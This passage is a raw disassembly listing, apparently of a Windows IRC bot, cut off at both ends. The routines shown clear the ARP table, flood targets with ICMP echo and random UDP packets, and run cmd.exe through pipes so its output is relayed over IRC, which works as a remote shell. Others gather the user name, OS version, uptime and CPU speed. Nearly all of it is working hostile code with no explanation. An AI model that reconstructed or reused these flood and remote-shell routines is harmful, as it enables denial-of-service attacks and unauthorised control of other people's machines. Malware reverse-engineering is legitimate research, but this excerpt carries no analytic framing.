[ebp+var_8] mov esi, eax push edi push esi call sub_417030 add esp, 10h cmp esi, edi jz short loc_40ACCF lea eax, [ebp+var_8] push ebx push eax push esi call dword_43EBA0 ; GetIpNetTable cmp eax, edi jnz short loc_40AC6E loc_40ACB7: ; CODE XREF: sub_40AC30+29j cmp [esi], edi jbe short loc_40ACF2 lea ebx, [esi+4] loc_40ACBE: ; CODE XREF: sub_40AC30+9Bj push ebx call dword_43EB9C ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ACBE jmp short loc_40ACF2 ; --------------------------------------------------------------------------- loc_40ACCF: ; CODE XREF: sub_40AC30+75j push offset dword_42CBE4 loc_40ACD4: ; CODE XREF: sub_40AC30+5Aj ; sub_40AC30+D6j lea eax, [ebp+var_88] push eax call sub_416FB6 pop ecx pop ecx loc_40ACE2: ; CODE XREF: sub_40AC30+53j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BD8D pop ecx loc_40ACF2: ; CODE XREF: sub_40AC30+89j ; sub_40AC30+9Dj push esi call sub_41793B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AD01: ; CODE XREF: sub_40AC30+2Ej push offset unk_42CBA8 jmp short loc_40ACD4 sub_40AC30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD08 proc near ; CODE XREF: sub_401444+231p ; sub_401D6D+253p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43EAC8 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset dword_43EE50 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_416FB6 add esp, 18h mov eax, esi pop esi leave retn sub_40AD08 endp ; =============== S U B R O U T I N E ======================================= sub_40AD61 proc near ; CODE XREF: sub_4010B2+24Cp ; sub_4010B2+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] xor edx, edx cmp ecx, 1 push esi jle short loc_40AD8C lea eax, [ecx-2] push edi shr eax, 1 inc eax mov esi, eax neg esi lea ecx, [ecx+esi*2] mov esi, [esp+8+arg_0] loc_40AD7F: ; CODE XREF: sub_40AD61+26j movzx edi, word ptr [esi] add edx, edi inc esi inc esi dec eax jnz short loc_40AD7F pop edi jmp short loc_40AD90 ; --------------------------------------------------------------------------- loc_40AD8C: ; CODE XREF: sub_40AD61+Aj mov esi, [esp+4+arg_0] loc_40AD90: ; CODE XREF: sub_40AD61+29j test ecx, ecx jz short loc_40AD99 movzx eax, byte ptr [esi] add edx, eax loc_40AD99: ; CODE XREF: sub_40AD61+31j mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx pop esi mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AD61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADB1 proc near ; DATA XREF: sub_40EC43+2E37o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417830 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd xor edi, edi inc edi mov [eax+120h], edi call dword_43EAB0 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43EB64 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AE0C lea eax, [ebp+var_C0] push eax call dword_43EBA8 ; gethostbyname cmp eax, ebx jz short loc_40AE12 loc_40AE0C: ; CODE XREF: sub_40ADB1+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40AE6F loc_40AE12: ; CODE XREF: sub_40ADB1+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42CCD0 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40AE52 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D476 add esp, 14h loc_40AE52: ; CODE XREF: sub_40ADB1+7Fj lea eax, [ebp+var_344] push eax call sub_40BD8D push [ebp+var_30] call sub_416D90 pop ecx pop ecx push edi call dword_423054 ; ExitThread loc_40AE6F: ; CODE XREF: sub_40ADB1+5Fj cmp eax, ebx jz short loc_40AE7F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40AE82 ; --------------------------------------------------------------------------- loc_40AE7F: ; CODE XREF: sub_40ADB1+C0j mov [ebp+var_4], esi loc_40AE82: ; CODE XREF: sub_40ADB1+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417030 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40AEA2 mov [ebp+var_3C], eax loc_40AEA2: ; CODE XREF: sub_40ADB1+ECj cmp [ebp+var_38], edi jge short loc_40AEAA mov [ebp+var_38], edi loc_40AEAA: ; CODE XREF: sub_40ADB1+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40AED7 loc_40AEB1: ; CODE XREF: sub_40ADB1+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_43EA48 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_40AEB1 loc_40AED7: ; CODE XREF: sub_40ADB1+FEj push [ebp+arg_0] call dword_43EBD8 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42CC94 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40AF20 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D476 add esp, 14h loc_40AF20: ; CODE XREF: sub_40ADB1+14Dj lea eax, [ebp+var_344] push eax call sub_40BD8D push [ebp+var_30] call sub_416D90 pop ecx pop ecx push ebx call dword_423054 ; ExitThread sub_40ADB1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF3D proc near ; DATA XREF: sub_40EC43+2F71o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_417830 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd xor esi, esi inc esi mov [eax+120h], esi call dword_423058 ; GetTickCount push eax call sub_417008 pop ecx push 11h push 2 push 2 call dword_43EBA4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_43EB64 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40B022 lea eax, [ebp+var_B0] push eax call dword_43EBA8 ; gethostbyname cmp eax, edi jnz short loc_40B01B lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42CD44 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40AFFE push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D476 add esp, 14h loc_40AFFE: ; CODE XREF: sub_40AF3D+9Fj lea eax, [ebp+var_334] push eax call sub_40BD8D push [ebp+var_20] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread loc_40B01B: ; CODE XREF: sub_40AF3D+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_40B025 ; --------------------------------------------------------------------------- loc_40B022: ; CODE XREF: sub_40AF3D+6Ej lea eax, [ebp+arg_0] loc_40B025: ; CODE XREF: sub_40AF3D+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_40B040 call sub_417012 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_40B043 ; --------------------------------------------------------------------------- loc_40B040: ; CODE XREF: sub_40AF3D+F0j push [ebp+var_24] loc_40B043: ; CODE XREF: sub_40AF3D+101j call dword_43EB24 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_40B055 mov [ebp+var_24], esi loc_40B055: ; CODE XREF: sub_40AF3D+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_40B062 mov [ebp+var_24], eax loc_40B062: ; CODE XREF: sub_40AF3D+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_40B076 mov [ebp+var_28], esi loc_40B076: ; CODE XREF: sub_40AF3D+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_40B0EF loc_40B07D: ; CODE XREF: sub_40AF3D+158j call sub_417012 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_40B07D jmp short loc_40B0EF ; --------------------------------------------------------------------------- loc_40B099: ; CODE XREF: sub_40AF3D+1B5j dec [ebp+var_30] push 0Bh pop esi loc_40B09F: ; CODE XREF: sub_40AF3D+192j lea eax, [ebp+var_10] push 10h push eax push edi call sub_417012 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_43EB88 ; sendto push [ebp+var_28] call dword_423064 ; Sleep dec esi jnz short loc_40B09F cmp [ebp+var_24], edi jnz short loc_40B0EF call sub_417012 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_43EB24 ; htons mov [ebp+var_E], ax loc_40B0EF: ; CODE XREF: sub_40AF3D+13Ej ; sub_40AF3D+15Aj ... cmp [ebp+var_30], edi jg short loc_40B099 dec [ebp+var_30] lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset dword_42CD08 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_40B137 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_40D476 add esp, 14h loc_40B137: ; CODE XREF: sub_40AF3D+1D8j lea eax, [ebp+var_334] push eax call sub_40BD8D push [ebp+var_20] call sub_416D90 pop ecx pop ecx push edi call dword_423054 ; ExitThread sub_40AF3D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B154 proc near ; CODE XREF: sub_40B184+2Ap ; sub_40B1BC+7Ep ... mov eax, dword_43EE64 push esi mov esi, dword_423078 cmp eax, 0FFFFFFFFh jz short loc_40B168 push eax call esi ; CloseHandle loc_40B168: ; CODE XREF: sub_40B154+Fj mov eax, dword_43EE6C cmp eax, 0FFFFFFFFh jz short loc_40B175 push eax call esi ; CloseHandle loc_40B175: ; CODE XREF: sub_40B154+1Cj mov eax, dword_43EE60 cmp eax, 0FFFFFFFFh jz short loc_40B182 push eax call esi ; CloseHandle loc_40B182: ; CODE XREF: sub_40B154+29j pop esi retn sub_40B154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B184 proc near ; CODE XREF: sub_40C16F+14Ap ; sub_40EC43+484Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_4177B0 pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+arg_0] push dword_43EE68 call dword_42307C ; WriteFile test eax, eax jnz short loc_40B1B7 call sub_40B154 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B1B7: ; CODE XREF: sub_40B184+28j xor eax, eax inc eax leave retn sub_40B184 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B1BC proc near ; CODE XREF: sub_40B243+D3p ; sub_40B243+F2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_43BCE8 push [ebp+arg_4] call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40B1FF push 7D0h call dword_423064 ; Sleep push [ebp+arg_8] lea eax, [ebp+var_200] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" push eax call sub_416FB6 add esp, 10h jmp short loc_40B216 ; --------------------------------------------------------------------------- loc_40B1FF: ; CODE XREF: sub_40B1BC+1Aj push [ebp+arg_8] lea eax, [ebp+var_200] push offset aS_3 ; "%s" push eax call sub_416FB6 add esp, 0Ch loc_40B216: ; CODE XREF: sub_40B1BC+41j lea eax, [ebp+var_200] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43EB74 ; send test eax, eax jg short loc_40B23F call sub_40B154 loc_40B23F: ; CODE XREF: sub_40B1BC+7Cj xor eax, eax leave retn sub_40B1BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B243 proc near ; DATA XREF: sub_40B398+170o var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset dword_43EE70 loc_40B25B: ; CODE XREF: sub_40B243+79j ; sub_40B243+DBj push esi lea eax, [ebp+var_20C] push edi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+var_20C] push esi push eax push dword_43EE64 call dword_423134 ; PeekNamedPipe test eax, eax jz loc_40B329 cmp [ebp+var_4], edi jnz short loc_40B2BE lea eax, [ebp+var_8] push eax push dword_43EE60 call dword_423130 ; GetExitCodeProcess test eax, eax jz short loc_40B2B4 cmp [ebp+var_8], 103h jnz loc_40B34D loc_40B2B4: ; CODE XREF: sub_40B243+62j push 0Ah call dword_423064 ; Sleep jmp short loc_40B25B ; --------------------------------------------------------------------------- loc_40B2BE: ; CODE XREF: sub_40B243+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_40B2D5 loc_40B2C5: ; CODE XREF: sub_40B243+90j cmp [ebp+eax+var_20C], 0Ah jz short loc_40B323 inc eax cmp eax, [ebp+var_4] jb short loc_40B2C5 loc_40B2D5: ; CODE XREF: sub_40B243+80j mov [ebp+var_4], esi loc_40B2D8: ; CODE XREF: sub_40B243+E4j push esi lea eax, [ebp+var_20C] push edi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_43EE64 call dword_423074 ; ReadFile test eax, eax jz short loc_40B375 lea eax, [ebp+var_20C] push eax push ebx push dword_43EEA4 call sub_40B1BC add esp, 0Ch jmp loc_40B25B ; --------------------------------------------------------------------------- loc_40B323: ; CODE XREF: sub_40B243+8Aj inc eax mov [ebp+var_4], eax jmp short loc_40B2D8 ; --------------------------------------------------------------------------- loc_40B329: ; CODE XREF: sub_40B243+45j push offset dword_42CE04 push ebx push dword_43EEA4 call sub_40B1BC push [ebp+arg_0] call sub_416D90 add esp, 10h push 1 call dword_423054 ; ExitThread loc_40B34D: ; CODE XREF: sub_40B243+6Bj call sub_40B154 push offset dword_42CDCC push ebx push dword_43EEA4 call sub_40B1BC push [ebp+arg_0] call sub_416D90 add esp, 10h push edi call dword_423054 ; ExitThread loc_40B375: ; CODE XREF: sub_40B243+C3j push offset dword_42CD8C push ebx push dword_43EEA4 call sub_40B1BC push [ebp+arg_0] call sub_416D90 add esp, 10h push edi call dword_423054 ; ExitThread sub_40B243 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B398 proc near ; CODE XREF: sub_40C16F+99p ; sub_40EC43+5724p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_40B154 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_43EBDC ; SearchPathA test eax, eax jz loc_40B492 lea eax, [ebp+var_1C] mov edi, dword_423140 push esi push eax lea eax, [ebp+var_C] xor ebx, ebx push eax lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_40B492 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_40B492 mov edi, dword_42313C push 3 push esi push esi push offset dword_43EE68 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_423138 ; DuplicateHandle test eax, eax jz short loc_40B492 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_417030 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_417030 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_43BCE8 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_423120 ; CreateProcessA test eax, eax jnz short loc_40B49A loc_40B492: ; CODE XREF: sub_40B398+2Fj ; sub_40B398+5Cj ... or eax, 0FFFFFFFFh jmp loc_40B548 ; --------------------------------------------------------------------------- loc_40B49A: ; CODE XREF: sub_40B398+F8j push [ebp+var_4] mov edi, dword_423078 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_43EE64, eax mov eax, [ebp+var_8] mov dword_43EE6C, eax mov eax, [ebp+var_2C] mov dword_43EE60, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_43EEA4, eax jz short loc_40B4D4 push [ebp+arg_4] jmp short loc_40B4D5 ; --------------------------------------------------------------------------- loc_40B4D4: ; CODE XREF: sub_40B398+135j push ebx loc_40B4D5: ; CODE XREF: sub_40B398+13Aj push offset dword_43EE70 call sub_416FB6 pop ecx pop ecx push esi push 7 push offset dword_42CE8C call sub_416A7A mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_444570[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_40B243 push esi push esi call dword_4230A0 ; CreateThread cmp eax, esi mov dword_44457C[edi], eax jnz short loc_40B546 call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset dword_42CE48 push eax call sub_416FB6 lea eax, [ebp+var_378] push eax call sub_40BD8D add esp, 10h loc_40B546: ; CODE XREF: sub_40B398+185j xor eax, eax loc_40B548: ; CODE XREF: sub_40B398+FDj pop edi pop esi pop ebx leave retn sub_40B398 endp ; =============== S U B R O U T I N E ======================================= sub_40B54D proc near ; CODE XREF: sub_406F62+74p ; sub_40B6ED+217p ... arg_0 = dword ptr 4 push esi push edi call dword_423058 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_43EEA8 push 32h push esi call sub_41752A add esp, 18h mov eax, esi pop edi pop esi retn sub_40B54D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5A0 proc near ; CODE XREF: sub_408E7C+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call dword_423144 ; GetVersionExA test eax, eax jz short loc_40B632 cmp [ebp+var_90], 4 jnz short loc_40B608 cmp [ebp+var_8C], esi jnz short loc_40B5F0 cmp [ebp+var_84], 1 jnz short loc_40B5E2 inc esi loc_40B5E2: ; CODE XREF: sub_40B5A0+3Fj cmp [ebp+var_84], 2 jnz short loc_40B632 xor esi, esi inc esi jmp short loc_40B632 ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: sub_40B5A0+36j cmp [ebp+var_8C], 0Ah jnz short loc_40B5FD loc_40B5F9: ; CODE XREF: sub_40B5A0+77j push 2 jmp short loc_40B631 ; --------------------------------------------------------------------------- loc_40B5FD: ; CODE XREF: sub_40B5A0+57j cmp [ebp+var_8C], 5Ah jnz short loc_40B632 jmp short loc_40B622 ; --------------------------------------------------------------------------- loc_40B608: ; CODE XREF: sub_40B5A0+2Ej cmp [ebp+var_90], 5 jnz short loc_40B632 cmp [ebp+var_8C], esi jz short loc_40B5F9 cmp [ebp+var_8C], 1 jnz short loc_40B626 loc_40B622: ; CODE XREF: sub_40B5A0+66j push 3 jmp short loc_40B631 ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B5A0+80j cmp [ebp+var_8C], 2 jnz short loc_40B632 push 7 loc_40B631: ; CODE XREF: sub_40B5A0+5Bj ; sub_40B5A0+84j pop esi loc_40B632: ; CODE XREF: sub_40B5A0+25j ; sub_40B5A0+49j ... mov eax, esi pop esi leave retn sub_40B5A0 endp ; =============== S U B R O U T I N E ======================================= sub_40B637 proc near ; CODE XREF: sub_40B6ED+290p push ebx push esi push edi mov edi, 0F4240h loc_40B63F: ; CODE XREF: sub_40B637+2Fj ; sub_40B637+35j rdtsc push 3E8h mov ebx, edx mov esi, eax call dword_423064 ; Sleep rdtsc sub eax, esi push 0 sbb edx, ebx push edi push edx push eax call sub_418F50 mov esi, edx mov ebx, eax test esi, esi ja short loc_40B63F jb short loc_40B66E cmp ebx, edi ja short loc_40B63F loc_40B66E: ; CODE XREF: sub_40B637+31j push 0 push 64h push esi push ebx call sub_418ED0 mov ecx, edx push 64h xor edx, edx mov edi, eax test ecx, ecx pop eax ja short loc_40B6E1 jb short loc_40B68D cmp edi, 50h jnb short loc_40B692 loc_40B68D: ; CODE XREF: sub_40B637+4Fj push 4Bh xor edx, edx pop eax loc_40B692: ; CODE XREF: sub_40B637+54j test ecx, ecx ja short loc_40B6E1 jb short loc_40B69D cmp edi, 47h jnb short loc_40B6A2 loc_40B69D: ; CODE XREF: sub_40B637+5Fj push 42h xor edx, edx pop eax loc_40B6A2: ; CODE XREF: sub_40B637+64j test ecx, ecx ja short loc_40B6E1 jb short loc_40B6AD cmp edi, 37h jnb short loc_40B6B2 loc_40B6AD: ; CODE XREF: sub_40B637+6Fj push 32h xor edx, edx pop eax loc_40B6B2: ; CODE XREF: sub_40B637+74j test ecx, ecx ja short loc_40B6E1 jb short loc_40B6BD cmp edi, 26h jnb short loc_40B6C2 loc_40B6BD: ; CODE XREF: sub_40B637+7Fj push 21h xor edx, edx pop eax loc_40B6C2: ; CODE XREF: sub_40B637+84j test ecx, ecx ja short loc_40B6E1 jb short loc_40B6CD cmp edi, 1Eh jnb short loc_40B6D2 loc_40B6CD: ; CODE XREF: sub_40B637+8Fj push 19h xor edx, edx pop eax loc_40B6D2: ; CODE XREF: sub_40B637+94j test ecx, ecx ja short loc_40B6E1 jb short loc_40B6DD cmp edi, 0Ah jnb short loc_40B6E1 loc_40B6DD: ; CODE XREF: sub_40B637+9Fj xor eax, eax xor edx, edx loc_40B6E1: ; CODE XREF: sub_40B637+4Dj ; sub_40B637+5Dj ... sub eax, edi pop edi sbb edx, ecx add eax, ebx adc edx, esi pop esi pop ebx retn sub_40B637 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6ED proc near ; CODE XREF: sub_40EC43+59A0p var_968 = byte ptr -968h var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 968h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43BCE8 mov [ebp+var_CC], 94h call dword_423144 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_40B774 cmp [ebp+var_C4], ebx jnz short loc_40B750 cmp [ebp+var_BC], 1 jnz short loc_40B73A mov [ebp+var_4], offset a95 ; "95" loc_40B73A: ; CODE XREF: sub_40B6ED+44j cmp [ebp+var_BC], 2 jnz loc_40B7EF mov [ebp+var_4], offset aNt ; "NT" jmp short loc_40B7C0 ; --------------------------------------------------------------------------- loc_40B750: ; CODE XREF: sub_40B6ED+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_40B762 mov [ebp+var_4], offset a98 ; "98" jmp short loc_40B7B7 ; --------------------------------------------------------------------------- loc_40B762: ; CODE XREF: sub_40B6ED+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_40B7B0 mov [ebp+var_4], offset aMe ; "ME" jmp short loc_40B7B7 ; --------------------------------------------------------------------------- loc_40B774: ; CODE XREF: sub_40B6ED+33j cmp [ebp+var_C8], 5 jnz short loc_40B7B0 cmp [ebp+var_C4], ebx jnz short loc_40B78E mov [ebp+var_4], offset a2k ; "2K" jmp short loc_40B7B7 ; --------------------------------------------------------------------------- loc_40B78E: ; CODE XREF: sub_40B6ED+96j cmp [ebp+var_C4], 1 jnz short loc_40B7A0 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_40B7B7 ; --------------------------------------------------------------------------- loc_40B7A0: ; CODE XREF: sub_40B6ED+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_40B7B7 loc_40B7B0: ; CODE XREF: sub_40B6ED+7Cj ; sub_40B6ED+8Ej mov [ebp+var_4], offset dword_42CFD8 loc_40B7B7: ; CODE XREF: sub_40B6ED+73j ; sub_40B6ED+85j ... cmp [ebp+var_BC], 2 jnz short loc_40B7EF loc_40B7C0: ; CODE XREF: sub_40B6ED+61j cmp [ebp+var_B8], bl jz short loc_40B7EF lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_42CFD0 push eax call sub_416FB6 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_40B7EF: ; CODE XREF: sub_40B6ED+54j ; sub_40B6ED+D1j ... mov ax, word_42CFCC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_43EA10 mov [ebp+var_8], 100h cmp eax, ebx jz short loc_40B828 lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_40B828: ; CODE XREF: sub_40B6ED+12Cj push [ebp+arg_4] call sub_40AD08 pop ecx push eax call dword_43EB64 ; inet_addr mov [ebp+var_C], eax push 2 lea eax, [ebp+var_C] push 4 push eax call dword_43EADC ; gethostbyaddr cmp eax, ebx jz short loc_40B851 push dword ptr [eax] jmp short loc_40B856 ; --------------------------------------------------------------------------- loc_40B851: ; CODE XREF: sub_40B6ED+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_40B856: ; CODE XREF: sub_40B6ED+162j lea eax, [ebp+var_3E4] push eax call 